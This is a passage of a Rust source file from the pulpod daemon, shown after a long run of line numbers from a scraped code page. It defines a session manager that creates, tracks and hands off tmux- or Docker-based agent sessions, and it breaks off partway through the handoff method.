pulpod 0.1.0

Pulpo daemon — manages agent sessions via tmux/Docker
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617
2618
2619
2620
2621
2622
2623
2624
2625
2626
2627
2628
2629
2630
2631
2632
2633
2634
2635
2636
2637
2638
2639
2640
2641
2642
2643
2644
2645
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2660
2661
2662
2663
2664
2665
2666
2667
2668
2669
2670
2671
2672
2673
2674
2675
2676
2677
2678
2679
2680
2681
2682
2683
2684
2685
2686
2687
2688
2689
2690
2691
2692
2693
2694
2695
2696
2697
2698
2699
2700
2701
2702
2703
2704
2705
2706
2707
2708
2709
2710
2711
2712
2713
2714
2715
2716
2717
2718
2719
2720
2721
2722
2723
2724
2725
2726
2727
2728
2729
2730
2731
2732
2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
2751
2752
2753
2754
2755
2756
2757
2758
2759
2760
2761
2762
2763
2764
2765
2766
2767
2768
2769
2770
2771
2772
2773
2774
2775
2776
2777
2778
2779
2780
2781
2782
2783
2784
2785
2786
2787
2788
2789
2790
2791
2792
2793
2794
2795
2796
2797
2798
2799
2800
2801
2802
2803
2804
2805
2806
2807
2808
2809
2810
2811
2812
2813
2814
2815
2816
2817
2818
2819
2820
2821
2822
2823
2824
2825
2826
2827
2828
2829
2830
2831
2832
2833
2834
2835
2836
2837
2838
2839
2840
2841
2842
2843
2844
2845
2846
2847
2848
2849
2850
2851
2852
2853
2854
2855
2856
2857
2858
2859
2860
2861
2862
2863
2864
2865
2866
2867
2868
2869
2870
2871
2872
2873
2874
2875
2876
2877
2878
2879
2880
2881
2882
2883
2884
2885
2886
2887
2888
2889
2890
2891
2892
2893
2894
2895
2896
2897
2898
2899
2900
2901
2902
2903
2904
2905
2906
2907
2908
2909
2910
2911
2912
2913
2914
2915
2916
2917
2918
2919
2920
2921
2922
2923
2924
2925
2926
2927
2928
2929
2930
2931
2932
2933
2934
2935
2936
2937
2938
2939
2940
2941
2942
2943
2944
2945
2946
2947
2948
2949
2950
2951
2952
2953
2954
2955
2956
2957
2958
2959
2960
2961
2962
2963
2964
2965
2966
2967
2968
2969
2970
2971
2972
2973
2974
2975
2976
2977
2978
2979
2980
2981
2982
2983
2984
2985
2986
2987
2988
2989
2990
2991
2992
2993
2994
2995
2996
2997
2998
2999
3000
3001
3002
3003
3004
3005
3006
3007
3008
3009
3010
3011
3012
3013
3014
3015
3016
3017
3018
3019
3020
3021
3022
3023
3024
3025
3026
3027
3028
3029
3030
3031
3032
3033
3034
3035
3036
3037
3038
3039
3040
3041
3042
3043
3044
3045
3046
3047
3048
3049
3050
3051
3052
3053
3054
3055
3056
3057
3058
3059
3060
3061
3062
3063
3064
3065
3066
3067
3068
3069
3070
3071
3072
3073
3074
3075
3076
3077
3078
3079
3080
3081
3082
3083
3084
3085
3086
3087
3088
3089
3090
3091
3092
3093
3094
3095
3096
3097
3098
3099
3100
3101
3102
3103
3104
3105
3106
3107
3108
3109
3110
3111
3112
3113
3114
3115
3116
3117
3118
3119
3120
3121
3122
3123
3124
3125
3126
3127
3128
3129
3130
3131
3132
3133
3134
3135
3136
3137
3138
3139
3140
3141
3142
3143
3144
3145
3146
3147
3148
3149
3150
3151
3152
3153
3154
3155
3156
3157
3158
3159
3160
3161
3162
3163
3164
3165
3166
3167
3168
3169
3170
3171
3172
3173
3174
3175
3176
3177
3178
3179
3180
3181
3182
3183
3184
3185
3186
3187
3188
3189
3190
3191
3192
3193
3194
3195
3196
3197
3198
3199
3200
3201
3202
3203
3204
3205
3206
3207
3208
3209
3210
3211
3212
3213
3214
3215
3216
3217
3218
3219
3220
3221
3222
3223
3224
3225
3226
3227
3228
3229
3230
3231
3232
3233
3234
3235
3236
3237
3238
3239
3240
3241
3242
3243
3244
3245
3246
3247
3248
3249
3250
3251
3252
3253
3254
3255
3256
3257
3258
3259
3260
3261
3262
3263
3264
3265
3266
3267
3268
3269
3270
3271
3272
3273
3274
3275
3276
3277
3278
3279
3280
3281
3282
3283
3284
3285
3286
3287
3288
3289
3290
3291
3292
3293
3294
3295
3296
3297
3298
3299
3300
3301
3302
3303
3304
3305
3306
3307
3308
3309
3310
3311
3312
3313
3314
3315
3316
3317
3318
3319
3320
3321
3322
3323
3324
3325
3326
3327
3328
3329
3330
3331
3332
3333
3334
3335
3336
3337
3338
3339
3340
3341
3342
3343
3344
3345
3346
3347
3348
3349
3350
3351
3352
3353
3354
3355
3356
3357
3358
3359
3360
3361
3362
3363
3364
3365
3366
3367
3368
3369
3370
3371
3372
3373
3374
3375
3376
3377
3378
3379
3380
3381
3382
3383
3384
3385
3386
3387
3388
3389
3390
3391
3392
3393
3394
3395
3396
3397
3398
3399
3400
3401
3402
3403
3404
3405
3406
3407
3408
3409
3410
3411
3412
3413
3414
3415
3416
3417
3418
3419
3420
3421
3422
3423
3424
3425
3426
3427
3428
3429
3430
3431
3432
3433
3434
3435
3436
3437
3438
3439
3440
3441
3442
3443
3444
3445
3446
3447
3448
3449
3450
3451
3452
3453
3454
3455
3456
3457
3458
3459
3460
3461
3462
3463
3464
3465
3466
3467
3468
3469
3470
3471
3472
3473
3474
3475
3476
3477
3478
3479
3480
3481
3482
3483
3484
3485
3486
3487
3488
3489
3490
3491
3492
3493
3494
3495
3496
3497
3498
3499
3500
3501
3502
3503
3504
3505
3506
3507
3508
3509
3510
3511
3512
3513
3514
3515
3516
3517
3518
3519
3520
3521
3522
3523
3524
3525
3526
3527
3528
3529
3530
3531
3532
3533
3534
3535
3536
3537
3538
3539
3540
3541
3542
3543
3544
3545
3546
3547
3548
3549
3550
3551
3552
3553
3554
3555
3556
3557
3558
3559
3560
3561
3562
3563
3564
3565
3566
3567
3568
3569
3570
3571
3572
3573
3574
3575
3576
3577
3578
3579
3580
3581
3582
3583
3584
3585
3586
3587
3588
3589
3590
3591
3592
3593
3594
3595
3596
3597
3598
3599
3600
3601
3602
3603
3604
3605
3606
3607
3608
3609
3610
3611
3612
3613
3614
3615
3616
3617
3618
3619
3620
3621
3622
3623
3624
3625
3626
3627
3628
3629
3630
3631
3632
3633
3634
3635
3636
3637
3638
3639
3640
3641
3642
3643
3644
3645
3646
3647
3648
3649
3650
3651
3652
3653
3654
3655
3656
3657
3658
3659
3660
3661
3662
3663
3664
3665
3666
3667
3668
3669
3670
3671
3672
3673
3674
3675
3676
3677
3678
3679
3680
3681
3682
3683
3684
3685
3686
3687
3688
3689
3690
3691
3692
3693
3694
3695
3696
3697
3698
3699
3700
3701
3702
3703
3704
3705
3706
3707
3708
3709
3710
3711
3712
3713
3714
3715
3716
3717
3718
3719
3720
3721
3722
3723
3724
3725
3726
3727
3728
3729
3730
3731
3732
3733
3734
3735
3736
3737
3738
3739
3740
3741
3742
3743
3744
3745
3746
3747
3748
3749
3750
3751
3752
3753
3754
3755
3756
3757
3758
3759
3760
3761
3762
3763
3764
3765
3766
3767
3768
3769
3770
3771
3772
3773
3774
3775
3776
3777
3778
3779
3780
3781
3782
3783
3784
3785
3786
3787
3788
3789
3790
3791
3792
3793
3794
3795
3796
3797
3798
3799
3800
3801
3802
3803
3804
3805
3806
3807
3808
3809
3810
3811
3812
3813
3814
3815
3816
3817
3818
3819
3820
3821
3822
3823
3824
3825
3826
3827
3828
3829
3830
3831
3832
3833
3834
3835
3836
3837
3838
3839
3840
3841
3842
3843
3844
3845
3846
3847
3848
3849
3850
3851
3852
3853
3854
3855
3856
3857
3858
3859
3860
3861
3862
3863
3864
3865
3866
3867
3868
3869
3870
3871
3872
3873
3874
3875
3876
3877
3878
3879
3880
3881
3882
3883
3884
3885
3886
3887
3888
3889
3890
3891
3892
3893
3894
3895
3896
3897
3898
3899
3900
3901
3902
3903
3904
3905
3906
3907
3908
3909
3910
3911
3912
3913
3914
3915
3916
3917
3918
3919
3920
3921
3922
3923
3924
3925
3926
3927
3928
3929
3930
3931
3932
3933
3934
3935
3936
3937
3938
3939
3940
3941
3942
3943
3944
3945
3946
3947
3948
3949
3950
3951
3952
3953
3954
3955
3956
3957
3958
3959
3960
3961
3962
3963
3964
3965
3966
3967
3968
3969
3970
3971
3972
3973
3974
3975
3976
3977
3978
3979
3980
3981
3982
3983
3984
3985
3986
3987
3988
3989
3990
3991
3992
3993
3994
3995
3996
3997
3998
3999
4000
4001
4002
4003
4004
4005
4006
4007
4008
4009
4010
4011
4012
4013
4014
4015
4016
4017
4018
4019
4020
4021
4022
4023
4024
4025
4026
4027
4028
4029
4030
4031
4032
4033
4034
4035
4036
4037
4038
4039
4040
4041
4042
4043
4044
4045
4046
4047
4048
4049
4050
4051
4052
4053
4054
4055
4056
4057
4058
4059
4060
4061
4062
4063
4064
4065
4066
4067
4068
4069
4070
4071
4072
4073
4074
4075
4076
4077
4078
4079
4080
4081
4082
4083
4084
4085
4086
4087
4088
4089
4090
4091
4092
4093
4094
4095
4096
4097
4098
4099
4100
4101
4102
4103
4104
4105
4106
4107
4108
4109
4110
4111
4112
4113
4114
4115
4116
4117
4118
4119
4120
4121
4122
4123
4124
4125
4126
4127
4128
4129
4130
4131
4132
4133
4134
4135
4136
4137
4138
4139
4140
4141
4142
4143
4144
4145
4146
4147
4148
4149
4150
4151
4152
4153
4154
4155
4156
4157
4158
4159
4160
4161
4162
4163
4164
4165
4166
4167
4168
4169
4170
4171
4172
4173
4174
4175
4176
4177
4178
4179
4180
4181
4182
4183
4184
4185
4186
4187
4188
4189
4190
4191
4192
4193
4194
4195
4196
4197
4198
4199
4200
4201
4202
4203
4204
4205
4206
4207
4208
4209
4210
4211
4212
4213
4214
4215
4216
4217
4218
4219
4220
4221
4222
4223
4224
4225
4226
4227
4228
4229
4230
4231
4232
4233
4234
4235
4236
4237
4238
4239
4240
4241
4242
4243
4244
4245
4246
4247
4248
4249
4250
4251
4252
4253
4254
4255
4256
4257
4258
4259
4260
4261
4262
4263
4264
4265
4266
4267
4268
4269
4270
4271
4272
4273
4274
4275
4276
4277
4278
4279
4280
4281
4282
4283
4284
4285
4286
4287
4288
4289
4290
4291
4292
4293
4294
4295
4296
4297
4298
4299
4300
4301
4302
4303
4304
4305
4306
4307
4308
4309
4310
4311
4312
4313
4314
4315
4316
4317
4318
4319
4320
4321
4322
4323
4324
4325
4326
4327
4328
4329
4330
4331
4332
4333
4334
4335
4336
4337
4338
4339
4340
4341
4342
4343
4344
4345
4346
4347
4348
4349
4350
4351
4352
4353
4354
4355
4356
4357
4358
4359
4360
4361
4362
4363
4364
4365
4366
4367
4368
4369
4370
4371
4372
4373
4374
4375
4376
4377
4378
4379
4380
4381
4382
4383
4384
4385
4386
4387
4388
4389
4390
4391
4392
4393
4394
4395
4396
4397
4398
4399
4400
4401
4402
4403
4404
4405
4406
4407
4408
4409
4410
4411
4412
4413
4414
4415
4416
4417
4418
4419
4420
4421
4422
4423
4424
4425
4426
4427
4428
4429
4430
4431
4432
4433
4434
4435
4436
4437
4438
4439
4440
4441
4442
4443
4444
4445
4446
4447
4448
4449
4450
4451
4452
4453
4454
4455
4456
4457
4458
4459
4460
4461
4462
4463
4464
4465
4466
4467
4468
4469
4470
4471
4472
4473
4474
4475
4476
4477
4478
4479
4480
4481
4482
4483
use std::collections::{HashMap, HashSet};
use std::sync::Arc;

use anyhow::{Result, anyhow, bail};
use chrono::Utc;
use pulpo_common::api::{CleanupResponse, CreateSessionRequest, HandoffSessionRequest};
use pulpo_common::event::{PulpoEvent, SessionDeletedEvent, SessionEvent};
use pulpo_common::session::{Runtime, Session, SessionStatus, meta};
use tokio::sync::broadcast;
use uuid::Uuid;

use crate::backend::Backend;
#[cfg(not(coverage))]
use crate::session::utils::create_worktree;
use crate::session::utils::{
    DOCKER_RUNTIME_REMOVED, exit_dir, find_orphan_exit_markers, find_orphan_session_logs,
    find_orphan_worktree_dirs, has_exit_marker, read_exit_code_marker, remove_exit_markers,
    remove_session_log, session_log_path, validate_runtime, validate_session_name,
    validate_workdir, worktrees_dir, wrap_command, write_secrets_file,
};
#[cfg(test)]
#[allow(unused_imports)]
use crate::session::utils::{exit_clean_marker_path, exit_code_marker_path};
use crate::store::Store;

pub(crate) use crate::session::utils::cleanup_worktree;
#[cfg(test)]
#[allow(unused_imports)]
pub(crate) use crate::session::utils::{is_shell_command, wrap_command_for_test};

#[derive(Clone)]
pub struct SessionManager {
    backend: Arc<dyn Backend>,
    store: Store,
    default_command: Option<String>,
    event_tx: Option<broadcast::Sender<PulpoEvent>>,
    node_name: String,
    /// Grace period (seconds) after session creation before staleness checks apply.
    /// Prevents race where `is_alive()` returns false before tmux is fully ready.
    stale_grace_secs: i64,
    /// When true, mirror each session's full terminal output to a per-session log
    /// file via `tmux pipe-pane`. Off by default — the capture is unbounded and
    /// fills the disk; enable only for debugging.
    capture_session_output: bool,
}

/// Result of resolving the command and description to launch a session with.
struct ResolvedCommand {
    command: String,
    description: Option<String>,
}

struct SessionCreatePlan {
    session: Session,
    backend_id: String,
    effective_workdir: String,
    final_command: String,
    secrets_file: Option<String>,
}

impl SessionManager {
    pub fn new(backend: Arc<dyn Backend>, store: Store, default_command: Option<String>) -> Self {
        Self {
            backend,
            store,
            default_command,
            event_tx: None,
            node_name: String::new(),
            stale_grace_secs: 5,
            capture_session_output: false,
        }
    }

    #[cfg(test)]
    #[must_use]
    pub const fn with_no_stale_grace(mut self) -> Self {
        self.stale_grace_secs = 0;
        self
    }

    /// Enable per-session full-output capture (`tmux pipe-pane` → `{id}.log`).
    /// Off by default; the daemon turns it on only when `capture_session_output`
    /// is set in config.
    #[must_use]
    pub const fn with_capture_session_output(mut self, enabled: bool) -> Self {
        self.capture_session_output = enabled;
        self
    }

    #[must_use]
    pub fn with_event_tx(mut self, tx: broadcast::Sender<PulpoEvent>, node_name: String) -> Self {
        self.event_tx = Some(tx);
        self.node_name = node_name;
        self
    }

    pub fn backend(&self) -> Arc<dyn Backend> {
        self.backend.clone()
    }

    fn emit_event(&self, session: &Session, previous_status: Option<SessionStatus>) {
        if let Some(tx) = &self.event_tx {
            let pr_url = session.meta_str(meta::PR_URL).map(str::to_owned);
            let error_status = session.meta_str(meta::ERROR_STATUS).map(str::to_owned);
            let event = SessionEvent {
                session_id: session.id.to_string(),
                session_name: session.name.clone(),
                status: session.status.to_string(),
                previous_status: previous_status.map(|s| s.to_string()),
                node_name: self.node_name.clone(),
                output_snippet: session.output_snapshot.clone(),
                timestamp: Utc::now().to_rfc3339(),
                git_branch: session.git_branch.clone(),
                git_commit: session.git_commit.clone(),
                git_insertions: session.git_insertions,
                git_deletions: session.git_deletions,
                git_files_changed: session.git_files_changed,
                pr_url,
                error_status,
                total_input_tokens: session.meta_parsed(meta::TOTAL_INPUT_TOKENS),
                total_output_tokens: session.meta_parsed(meta::TOTAL_OUTPUT_TOKENS),
                session_cost_usd: session.meta_parsed(meta::SESSION_COST_USD),
            };
            // Ignore send errors — no subscribers is OK
            let _ = tx.send(PulpoEvent::Session(event));
        }
    }

    /// Resolve the backend session ID for a session.
    /// Uses the stored `backend_session_id` if available, otherwise computes it
    /// from the session name when metadata has not recorded a provider value.
    pub fn resolve_backend_id(&self, session: &Session) -> String {
        session
            .backend_session_id
            .clone()
            .unwrap_or_else(|| self.backend.session_id(&session.name))
    }

    pub async fn create_session(&self, req: CreateSessionRequest) -> Result<Session> {
        let plan = self.build_create_plan(req, None).await?;
        self.execute_create_plan(plan).await
    }

    /// Spawn a new session that inherits a finished session's working context —
    /// its working directory, and its git worktree if it has one. Pulpo never reads
    /// or interprets any artifacts the source session left behind (e.g. a PLAN.md) —
    /// it only guarantees the next command starts in the same place.
    ///
    /// Reuses [`Self::build_create_plan`] (and therefore `wrap_command`, the secrets
    /// file, budget metadata, and idle threshold plumbing) with an adopted worktree
    /// instead of creating a new one, so this is not a parallel code path to `spawn`.
    pub async fn handoff_session(
        &self,
        source_id: &str,
        req: HandoffSessionRequest,
    ) -> Result<Session> {
        let source = self
            .store
            .get_session(source_id)
            .await?
            .ok_or_else(|| anyhow!("session not found: {source_id}"))?;

        let name = match req.name {
            Some(n) => n,
            None => self.next_handoff_name(&source.name).await?,
        };

        let adopt_worktree = match &source.worktree_path {
            Some(path) => {
